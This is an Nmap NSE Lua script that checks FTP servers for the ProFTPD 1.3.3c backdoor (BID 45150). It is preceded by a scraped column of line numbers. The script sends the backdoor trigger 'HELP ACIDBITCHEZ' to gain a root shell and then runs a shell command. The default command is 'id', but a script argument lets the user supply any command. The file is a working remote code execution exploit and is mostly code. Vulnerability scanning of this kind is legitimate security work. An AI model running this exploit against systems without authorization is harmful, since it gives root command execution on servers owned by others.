1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
|
local ftp = require "ftp"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
-- -*- mode: lua -*-
-- vim: set filetype=lua :
description = [[
Tests for the presence of the ProFTPD 1.3.3c backdoor reported as BID
45150. This script attempts to exploit the backdoor using the innocuous
<code>id</code> command by default, but that can be changed with the
<code>ftp-proftpd-backdoor.cmd</code> script argument.
]]
---
-- @usage
-- nmap --script ftp-proftpd-backdoor -p 21 <host>
--
-- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is
-- <code>id</code>).
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-proftpd-backdoor:
-- | This installation has been backdoored.
-- | Command: id
-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
-- |_
author = "Mak Kolybabi"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}
local CMD_FTP = "HELP ACIDBITCHEZ"
local CMD_SHELL = "id"
portrule = function (host, port)
-- Check if version detection knows what FTP server this is.
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
return false
end
-- Check if version detection knows what version of FTP server this is.
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
return false
end
return shortport.port_or_service(21, "ftp")(host, port)
end
action = function(host, port)
local cmd, err, line, req, resp, results, sock, status
-- Get script arguments.
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
if not cmd then
cmd = CMD_SHELL
end
-- Create socket.
sock = nmap.new_socket("tcp")
sock:set_timeout(5000)
status, err = sock:connect(host, port, "tcp")
if not status then
stdnse.debug1("Can't connect: %s", err)
sock:close()
return
end
-- Read banner.
local buffer = stdnse.make_buffer(sock, "\r?\n")
local code, message = ftp.read_reply(buffer)
if not code then
stdnse.debug1("Can't read banner: %s", message)
sock:close()
return
end
-- Check version.
if not message:match("ProFTPD 1.3.3c") then
stdnse.debug1("This version is not known to be backdoored.")
return
end
-- Send command to escalate privilege.
status, err = sock:send(CMD_FTP .. "\r\n")
if not status then
stdnse.debug1("Failed to send privilege escalation command: %s", err)
sock:close()
return
end
-- Check if escalation worked.
code, message = ftp.read_reply(buffer)
if code and code == 502 then
stdnse.debug1("Privilege escalation failed: %s", message)
sock:close()
return
end
-- Send command(s) to shell.
status, err = sock:send(cmd .. ";\r\n")
if not status then
stdnse.debug1("Failed to send shell command(s): %s", err)
sock:close()
return
end
-- Check for an error from command.
status, resp = sock:receive()
if not status then
stdnse.debug1("Can't read command response: %s", resp)
sock:close()
return
end
-- Summarize the results.
results = {
"This installation has been backdoored.",
"Command: " .. CMD_SHELL,
"Results: " .. resp
}
return stdnse.format_output(true, results)
end
|